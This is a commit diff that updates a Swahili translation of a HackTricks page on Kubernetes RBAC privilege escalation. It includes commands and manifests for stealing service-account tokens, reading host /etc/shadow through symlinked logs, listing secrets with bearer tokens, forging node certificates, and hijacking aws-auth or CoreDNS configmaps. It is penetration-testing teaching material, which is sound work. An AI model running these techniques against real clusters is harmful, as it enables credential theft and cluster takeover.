mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 19:32:24 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
Translator
@@ -35,7 +35,7 @@ In RBAC, ruhusa fulani zina hatari kubwa:
|
||||
|
||||
1. **`create`:** Inatoa uwezo wa kuunda rasilimali yoyote ya klasta, ikihatarisha kupanda kwa mamlaka.
|
||||
2. **`list`:** Inaruhusu kuorodhesha rasilimali zote, ikihatarisha kuvuja kwa data nyeti.
|
||||
3. **`get`:** Inaruhusu kufikia siri kutoka kwa akaunti za huduma, ikihatarisha usalama.
|
||||
3. **`get`:** Inaruhusu kufikia siri kutoka kwa akaunti za huduma, ikileta tishio la usalama.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -51,7 +51,7 @@ verbs: ["create", "list", "get"]
|
||||
|
||||
Mshambuliaji mwenye ruhusa za kuunda pod, anaweza kuunganisha Akaunti ya Huduma yenye mamlaka ndani ya pod na kuiba token ili kujifanya kuwa Akaunti ya Huduma. Kwa ufanisi anapandisha mamlaka kwake.
|
||||
|
||||
Mfano wa pod ambayo itaiba token ya akaunti ya huduma ya `bootstrap-signer` na kuisafirisha kwa mshambuliaji:
|
||||
Mfano wa pod ambayo itakuwa na uwezo wa kuiba token ya akaunti ya huduma `bootstrap-signer` na kuisafirisha kwa mshambuliaji:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -74,12 +74,12 @@ hostNetwork: true
|
||||
```
|
||||
### Pod Create & Escape
|
||||
|
||||
Ifuatayo inaonyesha haki zote ambazo kontena linaweza kuwa nazo:
|
||||
Ifuatayo inaonyesha haki zote ambazo kontena inaweza kuwa nazo:
|
||||
|
||||
- **Upatikanaji wa haki** (kuondoa ulinzi na kuweka uwezo)
|
||||
- **Zima namespaces hostIPC na hostPid** ambazo zinaweza kusaidia kuongeza haki
|
||||
- **Zima hostNetwork** namespace, ikitoa ufikiaji wa kuiba haki za wingu za nodi na ufikiaji bora wa mitandao
|
||||
- **Mount hosts / ndani ya kontena**
|
||||
- **Privileged access** (kuondoa ulinzi na kuweka uwezo)
|
||||
- **Disable namespaces hostIPC and hostPid** ambazo zinaweza kusaidia kuongeza haki
|
||||
- **Disable hostNetwork** namespace, ikitoa ufikiaji wa kuiba haki za wingu za nodi na ufikiaji bora wa mitandao
|
||||
- **Mount hosts / inside the container**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -138,7 +138,7 @@ _Unaweza kupata mfano wa jinsi ya kuunda/kutumia vibaya mipangilio ya pods ziliz
|
||||
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
Ikiwa unaweza **kuunda** **pod** (na hiari **akaunti ya huduma**) huenda ukawa na uwezo wa **kupata ruhusa katika mazingira ya wingu** kwa **kuteua majukumu ya wingu kwa pod au akaunti ya huduma** na kisha kuifikia.\
|
||||
Ikiwa unaweza **kuunda** **pod** (na hiari **akaunti ya huduma**) unaweza kuwa na uwezo wa **kupata ruhusa katika mazingira ya wingu** kwa **kuteua majukumu ya wingu kwa pod au akaunti ya huduma** na kisha kuifikia.\
|
||||
Zaidi ya hayo, ikiwa unaweza kuunda **pod yenye nafasi ya mtandao wa mwenyeji** unaweza **kuiba IAM** jukumu la **node** instance.
|
||||
|
||||
Kwa maelezo zaidi angalia:
|
||||
@@ -196,13 +196,13 @@ Hivyo, inawezekana **kuingia ndani ya pod na kuiba token ya SA**, au kuingia pod
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> Kwa default amri inatekelezwa katika kontena la kwanza la pod. Pata **pods zote katika kontena** kwa kutumia `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` na kisha **onyeshea kontena** ambapo unataka kutekeleza kwa kutumia `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
> Kwa default amri inatekelezwa katika kontena la kwanza la pod. Pata **pods zote katika kontena** kwa kutumia `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` na kisha **onyesha kontena** ambapo unataka kutekeleza kwa kutumia `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
|
||||
Ikiwa ni kontena lisilo na mfumo wa uendeshaji unaweza kujaribu kutumia **shell builtins** kupata taarifa za kontena au kupakia zana zako mwenyewe kama **busybox** kwa kutumia: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
|
||||
### port-forward
|
||||
|
||||
Ruhusa hii inaruhusu **kupeleka port moja ya ndani kwa port moja katika pod iliyoainishwa**. Hii inakusudiwa kuwezesha kufuatilia programu zinazotembea ndani ya pod kwa urahisi, lakini mshambuliaji anaweza kuitumia vibaya kupata ufikiaji wa programu za kuvutia (kama DBs) au programu zenye udhaifu (webs?) ndani ya pod:
|
||||
Ruhusa hii inaruhusu **kupeleka bandari moja ya ndani kwa bandari moja katika pod iliyoainishwa**. Hii inakusudiwa kuwezesha kufuatilia programu zinazotembea ndani ya pod kwa urahisi, lakini mshambuliaji anaweza kuitumia vibaya kupata ufikiaji wa programu za kuvutia (kama DBs) au programu zenye udhaifu (webs?) ndani ya pod:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
@@ -214,7 +214,7 @@ Huduma ya Kubelet inatoa kiunganishi cha `/logs/` ambacho kimsingi ni **kuonyesh
|
||||
|
||||
Kwa hivyo, mshambuliaji mwenye **ufikiaji wa kuandika katika folda /var/log/** ya kontena anaweza kutumia tabia hii kwa njia 2:
|
||||
|
||||
- Kubadilisha faili `0.log` la kontena lake (ambalo kawaida liko katika `/var/logs/pods/namespace_pod_uid/container/0.log`) kuwa **symlink inayoelekeza kwenye `/etc/shadow`** kwa mfano. Kisha, utaweza kutoa faili la kivuli la hosts kwa kufanya:
|
||||
- Kubadilisha faili `0.log` la kontena lake (ambalo kawaida liko katika `/var/logs/pods/namespace_pod_uid/container/0.log`) kuwa **symlink inayoelekeza kwenye `/etc/shadow`** kwa mfano. Kisha, utaweza kutoa faili la kivuli cha hosts kwa kufanya:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -238,11 +238,11 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
|
||||
#### Kupita ulinzi wa readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Ikiwa una bahati na uwezo wa juu wa `CAP_SYS_ADMIN` upo, unaweza tu kuunganisha tena folda hiyo kama rw:
|
||||
Ikiwa una bahati na uwezo wa juu wa `CAP_SYS_ADMIN upo, unaweza tu kuunganisha tena folda hiyo kama rw:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### Kupita ulinzi wa hostPath readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Kama ilivyoelezwa katika [**utafiti huu**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) inawezekana kupita ulinzi:
|
||||
```yaml
|
||||
@@ -250,7 +250,7 @@ allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Ambayo yalikuwa yanakusudia kuzuia kutoroka kama zile za awali kwa, badala ya kutumia mtego wa hostPath, kutumia PersistentVolume na PersistentVolumeClaim ili kuunganisha folda ya mwenyeji ndani ya kontena kwa ufikiaji wa kuandika:
|
||||
Ambayo ilikusudia kuzuia kutoroka kama zile za awali kwa, badala ya kutumia mtego wa hostPath, kutumia PersistentVolume na PersistentVolumeClaim ili kuunganisha folda ya mwenyeji ndani ya kontena kwa ufikiaji wa kuandika:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -313,7 +313,7 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Kuorodhesha Siri
|
||||
### Listing Secrets
|
||||
|
||||
Ruhusa ya **kuorodhesha siri inaweza kumruhusu mshambuliaji kusoma siri** kwa kufikia kiunganishi cha API ya REST:
|
||||
```bash
|
||||
@@ -321,7 +321,7 @@ curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1
|
||||
```
|
||||
### Kuunda na Kusoma Siri
|
||||
|
||||
Kuna aina maalum ya siri ya Kubernetes ya aina **kubernetes.io/service-account-token** ambayo inahifadhi token za akaunti za huduma.
|
||||
Kuna aina maalum ya siri ya Kubernetes ya aina **kubernetes.io/service-account-token** ambayo inahifadhi token za akaunti ya huduma.
|
||||
Ikiwa una ruhusa za kuunda na kusoma siri, na pia unajua jina la akaunti ya huduma, unaweza kuunda siri kama ifuatavyo na kisha kuiba token ya akaunti ya huduma ya mwathirika kutoka kwake:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
@@ -383,17 +383,76 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
```
|
||||
Kumbuka kwamba ikiwa unaruhusiwa kuunda na kusoma siri katika eneo fulani, akaunti ya huduma ya mwathirika pia lazima iwe katika eneo hilo hilo.
|
||||
|
||||
### Kusoma siri – kulazimisha vitambulisho vya tokeni
|
||||
### Kusoma siri – kulazimisha vitambulisho vya token
|
||||
|
||||
Wakati mshambuliaji mwenye tokeni yenye ruhusa za kusoma anahitaji jina sahihi la siri ili kuitumia, tofauti na ruhusa pana ya _**kuorodhesha siri**_, bado kuna udhaifu. Akaunti za huduma za default katika mfumo zinaweza kuorodheshwa, kila moja ikihusishwa na siri. Siri hizi zina muundo wa jina: kiambatisho cha kudumu kinachofuatiwa na tokeni ya alphanumeric ya herufi tano za nasibu (bila wahusika fulani) kulingana na [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
Wakati mshambuliaji mwenye token yenye ruhusa za kusoma anahitaji jina halisi la siri ili kuitumia, tofauti na ruhusa pana ya _**kuorodhesha siri**_, bado kuna udhaifu. Akaunti za huduma za default katika mfumo zinaweza kuorodheshwa, kila moja ikihusishwa na siri. Siri hizi zina muundo wa jina: kiambatisho kisichobadilika kinachofuatiwa na token ya alphanumeric ya herufi tano za nasibu (bila kuhesabu wahusika fulani) kulingana na [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
Tokeni inazalishwa kutoka seti ndogo ya wahusika 27 (`bcdfghjklmnpqrstvwxz2456789`), badala ya anuwai kamili ya alphanumeric. Kizuizi hiki kinapunguza jumla ya mchanganyiko unaowezekana kuwa 14,348,907 (27^5). Kwa hivyo, mshambuliaji anaweza kutekeleza shambulio la kulazimisha ili kubaini tokeni hiyo ndani ya masaa machache, ambayo yanaweza kusababisha kupandishwa vyeo kwa kufikia akaunti za huduma nyeti.
|
||||
Token inazalishwa kutoka seti ndogo ya wahusika 27 (`bcdfghjklmnpqrstvwxz2456789`), badala ya anuwai kamili ya alphanumeric. Kizuizi hiki kinapunguza jumla ya mchanganyiko unaowezekana kuwa 14,348,907 (27^5). Kwa hivyo, mshambuliaji anaweza kutekeleza shambulio la kulazimisha ili kubaini token katika masaa machache, ambayo yanaweza kusababisha kupandishwa vyeo kwa kufikia akaunti za huduma nyeti.
|
||||
|
||||
### Maombi ya Kusaini Cheti
|
||||
### EncrpytionConfiguration katika maandiko wazi
|
||||
|
||||
Inawezekana kupata funguo za maandiko wazi za kuandaa data iliyohifadhiwa katika aina hii ya kitu kama:
|
||||
```yaml
|
||||
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
|
||||
|
||||
#
|
||||
# CAUTION: this is an example configuration.
|
||||
# Do not use this for your own cluster!
|
||||
#
|
||||
|
||||
apiVersion: apiserver.config.k8s.io/v1
|
||||
kind: EncryptionConfiguration
|
||||
resources:
|
||||
- resources:
|
||||
- secrets
|
||||
- configmaps
|
||||
- pandas.awesome.bears.example # a custom resource API
|
||||
providers:
|
||||
# This configuration does not provide data confidentiality. The first
|
||||
# configured provider is specifying the "identity" mechanism, which
|
||||
# stores resources as plain text.
|
||||
#
|
||||
- identity: {} # plain text, in other words NO encryption
|
||||
- aesgcm:
|
||||
keys:
|
||||
- name: key1
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZQ==
|
||||
- name: key2
|
||||
secret: dGhpcyBpcyBwYXNzd29yZA==
|
||||
- aescbc:
|
||||
keys:
|
||||
- name: key1
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZQ==
|
||||
- name: key2
|
||||
secret: dGhpcyBpcyBwYXNzd29yZA==
|
||||
- secretbox:
|
||||
keys:
|
||||
- name: key1
|
||||
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
|
||||
- resources:
|
||||
- events
|
||||
providers:
|
||||
- identity: {} # do not encrypt Events even though *.* is specified below
|
||||
- resources:
|
||||
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
|
||||
providers:
|
||||
- aescbc:
|
||||
keys:
|
||||
- name: key2
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
|
||||
- resources:
|
||||
- '*.*' # wildcard match requires Kubernetes 1.27 or later
|
||||
providers:
|
||||
- aescbc:
|
||||
keys:
|
||||
- name: key3
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
|
||||
```
|
||||
### Certificate Signing Requests
|
||||
|
||||
Ikiwa una vitenzi **`create`** katika rasilimali `certificatesigningrequests` (au angalau katika `certificatesigningrequests/nodeClient`). Unaweza **kuunda** CeSR mpya ya **node mpya.**
|
||||
|
||||
Kulingana na [nyaraka inawezekana kuidhinisha maombi haya kiotomatiki](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), hivyo katika kesi hiyo **huhitaji ruhusa za ziada**. Ikiwa sivyo, unahitaji kuwa na uwezo wa kuidhinisha ombi, ambayo inamaanisha sasisha katika `certificatesigningrequests/approval` na `approve` katika `signers` na resourceName `<signerNameDomain>/<signerNamePath>` au `<signerNameDomain>/*`
|
||||
Kulingana na [nyaraka inawezekana kuidhinisha ombi hizi kiotomatiki](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), hivyo katika kesi hiyo **huhitaji ruhusa za ziada**. Ikiwa sivyo, itabidi uweze kuidhinisha ombi, ambayo inamaanisha sasisha katika `certificatesigningrequests/approval` na `approve` katika `signers` na resourceName `<signerNameDomain>/<signerNamePath>` au `<signerNameDomain>/*`
|
||||
|
||||
Mfano wa **role** yenye ruhusa zote zinazohitajika ni:
|
||||
```yaml
|
||||
@@ -429,15 +488,15 @@ verbs:
|
||||
Kwa hivyo, na CSR mpya ya node iliyothibitishwa, unaweza **kutilia shaka** ruhusa maalum za nodes ili **kuiba siri** na **kuinua mamlaka**.
|
||||
|
||||
Katika [**post hii**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) na [**hii moja**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) usanidi wa GKE K8s TLS Bootstrap umewekwa na **kusainiwa kiotomatiki** na unakiliwa ili kuzalisha ithibitisho ya Node mpya ya K8s na kisha kutumiwa kuimarisha mamlaka kwa kuiba siri.\
|
||||
Ikiwa **una mamlaka zilizotajwa unaweza kufanya jambo lile lile**. Kumbuka kwamba mfano wa kwanza unakabiliwa na kosa linalozuia node mpya kufikia siri ndani ya kontena kwa sababu **node inaweza kufikia tu siri za kontena zilizowekwa juu yake.**
|
||||
Ikiwa **una mamlaka zilizotajwa unaweza kufanya kitu kama hicho**. Kumbuka kwamba mfano wa kwanza unakabiliwa na kosa linalozuia node mpya kufikia siri ndani ya kontena kwa sababu **node inaweza kufikia tu siri za kontena zilizowekwa juu yake.**
|
||||
|
||||
Njia ya kukwepa hii ni tu **kuunda ithibitisho ya node kwa jina la node ambapo kontena yenye siri za kuvutia imewekwa** (lakini angalia tu jinsi ya kufanya hivyo katika post ya kwanza):
|
||||
Njia ya kukabili hili ni tu **kuunda ithibitisho ya node kwa jina la node ambapo kontena yenye siri za kuvutia imewekwa** (lakini angalia tu jinsi ya kufanya hivyo katika post ya kwanza):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
Wajibu wanaoweza kubadilisha **`configmaps`** katika eneo la kube-system kwenye EKS (lazima wawe ndani ya AWS) vikundi wanaweza kupata haki za usimamizi wa klasta kwa kubadilisha configmap ya **aws-auth**.\
|
||||
Wajibu wanaoweza kubadilisha **`configmaps`** katika eneo la kube-system kwenye EKS (lazima wawe ndani ya AWS) klasta wanaweza kupata haki za usimamizi wa klasta kwa kubadilisha **aws-auth** configmap.\
|
||||
Vitenzi vinavyohitajika ni **`update`** na **`patch`**, au **`create`** ikiwa configmap haijaundwa:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
@@ -485,7 +544,7 @@ groups:
|
||||
|
||||
### CoreDNS config map
|
||||
|
||||
Ikiwa una ruhusa za kubadilisha **`coredns` configmap** katika namespace ya `kube-system`, unaweza kubadilisha anwani ambazo maeneo yatatatuliwa ili uweze kufanya mashambulizi ya MitM ili **kuiba taarifa nyeti au kuingiza maudhui mabaya**.
|
||||
Ikiwa una ruhusa za kubadilisha **`coredns` configmap** katika eneo la `kube-system`, unaweza kubadilisha anwani ambazo maeneo yatatatuliwa ili uweze kufanya mashambulizi ya MitM ili **kuiba taarifa nyeti au kuingiza maudhui mabaya**.
|
||||
|
||||
Vitenzi vinavyohitajika ni **`update`** na **`patch`** juu ya **`coredns`** configmap (au config maps zote).
|
||||
|
||||
@@ -525,11 +584,11 @@ Chaguo lingine ni kuhariri tu faili ikifanya `kubectl edit configmap coredns -n
|
||||
|
||||
### Kuongeza Mamlaka katika GKE
|
||||
|
||||
Kuna **njia 2 za kutoa ruhusa za K8s kwa wahusika wa GCP**. Katika hali yoyote, mhusika pia anahitaji ruhusa **`container.clusters.get`** ili kuwa na uwezo wa kukusanya akreditifia za kufikia klasta, au itabidi **uzalishe faili yako ya konfigu kubectl** (fuata kiungo kinachofuata).
|
||||
Kuna **njia 2 za kutoa ruhusa za K8s kwa wahusika wa GCP**. Katika hali yoyote, mhusika pia anahitaji ruhusa **`container.clusters.get`** ili kuwa na uwezo wa kukusanya akreditifia za kufikia klasta, au itabidi **ujenge faili yako ya kubectl config** (fuata kiungo kinachofuata).
|
||||
|
||||
> [!WARNING]
|
||||
> Wakati wa kuzungumza na kiunganishi cha K8s api, **token ya uthibitisho ya GCP itatumwa**. Kisha, GCP, kupitia kiunganishi cha K8s api, kwanza **itaangalia kama mhusika** (kwa barua pepe) **ana ufikiaji wowote ndani ya klasta**, kisha itaangalia kama ana **ufikiaji wowote kupitia GCP IAM**.\
|
||||
> Ikiwa **yoyote** kati ya hizo ni **kweli**, atajibiwa. Ikiwa **siyo** makosa **yanayopendekeza kutoa** **ruhusa kupitia GCP IAM** yatatolewa.
|
||||
> Ikiwa **yoyote** kati ya hizo ni **kweli**, atajibiwa. Ikiwa **siyo** ni **kosa** linalopendekeza kutoa **ruhusa kupitia GCP IAM** litapelekwa.
|
||||
|
||||
Kisha, njia ya kwanza ni kutumia **GCP IAM**, ruhusa za K8s zina **ruhusa sawa za GCP IAM**, na ikiwa mhusika ana hiyo, ataweza kuitumia.
|
||||
|
||||
@@ -541,26 +600,26 @@ Njia ya pili ni **kutoa ruhusa za K8s ndani ya klasta** kwa kutambua mtumiaji kw
|
||||
|
||||
### Unda token za serviceaccounts
|
||||
|
||||
Wahusika wanaoweza **kuunda TokenRequests** (`serviceaccounts/token`) Wakati wa kuzungumza na kiunganishi cha K8s api SAs (tazama [**hapa**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
Wahusika wanaoweza **kuunda TokenRequests** (`serviceaccounts/token`) Wakati wa kuzungumza na kiunganishi cha K8s api SAs (habari kutoka [**hapa**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Wahusika wanaoweza **`update`** au **`patch`** **`pods/ephemeralcontainers`** wanaweza kupata **utendaji wa msimbo kwenye pods nyingine**, na kwa uwezekano **kuvunja** kwenye node yao kwa kuongeza kontena ya muda na securityContext yenye mamlaka.
|
||||
Wahusika wanaoweza **`update`** au **`patch`** **`pods/ephemeralcontainers`** wanaweza kupata **utendaji wa msimbo kwenye pods nyingine**, na kwa uwezekano **kuvunja** kwenye node yao kwa kuongeza kontena ya muda mfupi yenye securityContext yenye mamlaka.
|
||||
|
||||
### ValidatingWebhookConfigurations au MutatingWebhookConfigurations
|
||||
|
||||
Wahusika wenye mojawapo ya vitenzi `create`, `update` au `patch` juu ya `validatingwebhookconfigurations` au `mutatingwebhookconfigurations` wanaweza kuwa na uwezo wa **kuunda mojawapo ya webhookconfigurations hizo** ili waweze **kuongeza mamlaka**.
|
||||
|
||||
Kwa mfano ya [`mutatingwebhookconfigurations` angalia sehemu hii ya chapisho hili](#malicious-admission-controller).
|
||||
Kwa [`mfano wa mutatingwebhookconfigurations angalia sehemu hii ya chapisho hili](#malicious-admission-controller).
|
||||
|
||||
### Pandisha
|
||||
|
||||
Kama unavyoweza kusoma katika sehemu inayofuata: [**Kuzuia Pandisha Mamlaka ya Kijengwa Ndani**](#built-in-privileged-escalation-prevention), mhusika cannot update wala kuunda roles au clusterroles bila kuwa na ruhusa hizo mpya. Isipokuwa ikiwa ana **kitenzi `escalate` au `*`** juu ya **`roles`** au **`clusterroles`** na chaguo husika za binding.\
|
||||
Kisha anaweza kuupdate/kuunda roles mpya, clusterroles zenye ruhusa bora kuliko zile alizonazo.
|
||||
Kama unavyoweza kusoma katika sehemu inayofuata: [**Kuzuia Kuongeza Mamlaka Kwenye Mfumo**](#built-in-privileged-escalation-prevention), mhusika cannot kuhariri wala kuunda roles au clusterroles bila kuwa na ruhusa hizo mpya. Isipokuwa ikiwa ana **kitenzi `escalate` au `*`** juu ya **`roles`** au **`clusterroles`** na chaguo husika za binding.\
|
||||
Kisha anaweza kuhariri/kuunda roles mpya, clusterroles zenye ruhusa bora kuliko zile alizonazo.
|
||||
|
||||
### Nodes proxy
|
||||
|
||||
Wahusika wenye ufikiaji wa **`nodes/proxy`** subresource wanaweza **kutekeleza msimbo kwenye pods** kupitia Kubelet API (kulingana na [**hii**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Taarifa zaidi kuhusu uthibitishaji wa Kubelet katika ukurasa huu:
|
||||
Wahusika wenye ufikiaji kwa **`nodes/proxy`** subresource wanaweza **kutekeleza msimbo kwenye pods** kupitia Kubelet API (kulingana na [**hii**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Taarifa zaidi kuhusu uthibitishaji wa Kubelet katika ukurasa huu:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
@@ -570,7 +629,7 @@ Una mfano wa jinsi ya kupata [**RCE ukizungumza na Kubelet API hapa**](../pentes
|
||||
|
||||
### Futa pods + nodes zisizoweza kupanga
|
||||
|
||||
Wahusika wanaoweza **kufuta pods** (`delete` verb juu ya `pods` resource), au **kuhamasisha pods** (`create` verb juu ya `pods/eviction` resource), au **kubadilisha hali ya pod** (ufikiaji wa `pods/status`) na wanaweza **kufanya nodes nyingine zisizoweza kupanga** (ufikiaji wa `nodes/status`) au **kufuta nodes** (`delete` verb juu ya `nodes` resource) na ana udhibiti juu ya pod, wanaweza **kuiba pods kutoka kwa nodes nyingine** ili ziwe **zinatekelezwa** katika **node** iliyovunjika na mshambuliaji anaweza **kuiba tokens** kutoka kwa pods hizo.
|
||||
Wahusika wanaoweza **kufuta pods** (`delete` verb juu ya `pods` resource), au **kuhamasisha pods** (`create` verb juu ya `pods/eviction` resource), au **kubadilisha hali ya pod** (ufikiaji kwa `pods/status`) na wanaweza **kufanya nodes nyingine zisizoweza kupanga** (ufikiaji kwa `nodes/status`) au **kufuta nodes** (`delete` verb juu ya `nodes` resource) na ana udhibiti juu ya pod, wanaweza **kuiba pods kutoka kwa nodes nyingine** ili ziwe **zinatekelezwa** katika **node** iliyovunjika na mshambuliaji anaweza **kuiba tokens** kutoka kwa pods hizo.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -583,29 +642,29 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Hali za huduma (CVE-2020-8554)
|
||||
|
||||
Wajibu wanaoweza **kubadilisha** **`services/status`** wanaweza kuweka uwanja wa `status.loadBalancer.ingress.ip` ili kutumia **CVE-2020-8554 isiyorekebishwa** na kuanzisha **MiTM attacks dhidi ya klasta**. Mitihani mingi ya CVE-2020-8554 inazuia tu huduma za ExternalIP (kulingana na [**hii**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
Wajibu wanaoweza **kubadilisha** **`services/status`** wanaweza kuweka uwanja wa `status.loadBalancer.ingress.ip` ili kutumia **CVE-2020-8554** isiyo na suluhisho na kuanzisha **MiTM attacks dhidi ya klasta**. Mipango mingi ya kupunguza hatari kwa CVE-2020-8554 inazuia huduma za ExternalIP pekee (kulingana na [**hii**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Hali za Nodes na Pods
|
||||
|
||||
Wajibu wenye ruhusa za **`update`** au **`patch`** juu ya `nodes/status` au `pods/status`, wanaweza kubadilisha lebo ili kuathiri vikwazo vya kupanga vilivyowekwa.
|
||||
Wajibu wenye ruhusa za **`update`** au **`patch`** juu ya `nodes/status` au `pods/status`, wanaweza kubadilisha lebo ili kuathiri vikwazo vya kupanga vinavyotekelezwa.
|
||||
|
||||
## Kinga ya Kukuza Privilege iliyojengwa ndani
|
||||
|
||||
Kubernetes ina [mekanismu iliyojengwa ndani](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) ili kuzuia kukuza privilege.
|
||||
|
||||
Mfumo huu unahakikisha kwamba **watumiaji hawawezi kuongeza privileges zao kwa kubadilisha roles au role bindings**. Utekelezaji wa sheria hii unafanyika katika ngazi ya API, ukitoa kinga hata wakati RBAC authorizer haifanyi kazi.
|
||||
Mfumo huu unahakikisha kwamba **watumiaji hawawezi kuongeza privileges zao kwa kubadilisha majukumu au uhusiano wa majukumu**. Utekelezaji wa sheria hii unafanyika katika ngazi ya API, ukitoa kinga hata wakati mthibitishaji wa RBAC haupo.
|
||||
|
||||
Sheria inasema kwamba **mtumiaji anaweza tu kuunda au kubadilisha role ikiwa ana ruhusa zote zinazohitajika na role hiyo**. Aidha, upeo wa ruhusa za mtumiaji zilizopo lazima ulingane na wa role wanayojaribu kuunda au kubadilisha: ama kwa kiwango cha klasta kwa ClusterRoles au kufungwa kwenye namespace sawa (au kwa kiwango cha klasta) kwa Roles.
|
||||
Sheria inasema kwamba **mtumiaji anaweza tu kuunda au kubadilisha jukumu ikiwa ana ruhusa zote zinazohitajika na jukumu hilo**. Aidha, upeo wa ruhusa za mtumiaji zilizopo lazima ulingane na ule wa jukumu wanajaribu kuunda au kubadilisha: ama kwa kiwango cha klasta kwa ClusterRoles au kufungwa kwenye namespace sawa (au kwa kiwango cha klasta) kwa Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> Kuna ubaguzi wa sheria ya awali. Ikiwa wajibu ana **verb `escalate`** juu ya **`roles`** au **`clusterroles`** anaweza kuongeza privileges za roles na clusterroles hata bila kuwa na ruhusa hizo mwenyewe.
|
||||
> Kuna ubaguzi wa sheria ya awali. Ikiwa wajibu ana **kitenzi `escalate`** juu ya **`roles`** au **`clusterroles`** anaweza kuongeza privileges za majukumu na clusterroles hata bila kuwa na ruhusa hizo mwenyewe.
|
||||
|
||||
### **Pata & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Kwa kweli, mbinu hii ilifanya kazi hapo awali, lakini kulingana na majaribio yangu haifanyi kazi tena kwa sababu ile ile iliyoelezwa katika sehemu ya awali. Huwezi kuunda/kubadilisha rolebinding ili kujipa wewe mwenyewe au SA tofauti baadhi ya privileges ikiwa tayari huna.**
|
||||
|
||||
Ruhusa ya kuunda Rolebindings inamruhusu mtumiaji **kuunganisha roles na akaunti ya huduma**. Ruhusa hii inaweza kupelekea kukuza privilege kwa sababu inaruhusu mtumiaji kuunganisha ruhusa za admin kwa akaunti ya huduma iliyovunjwa.
|
||||
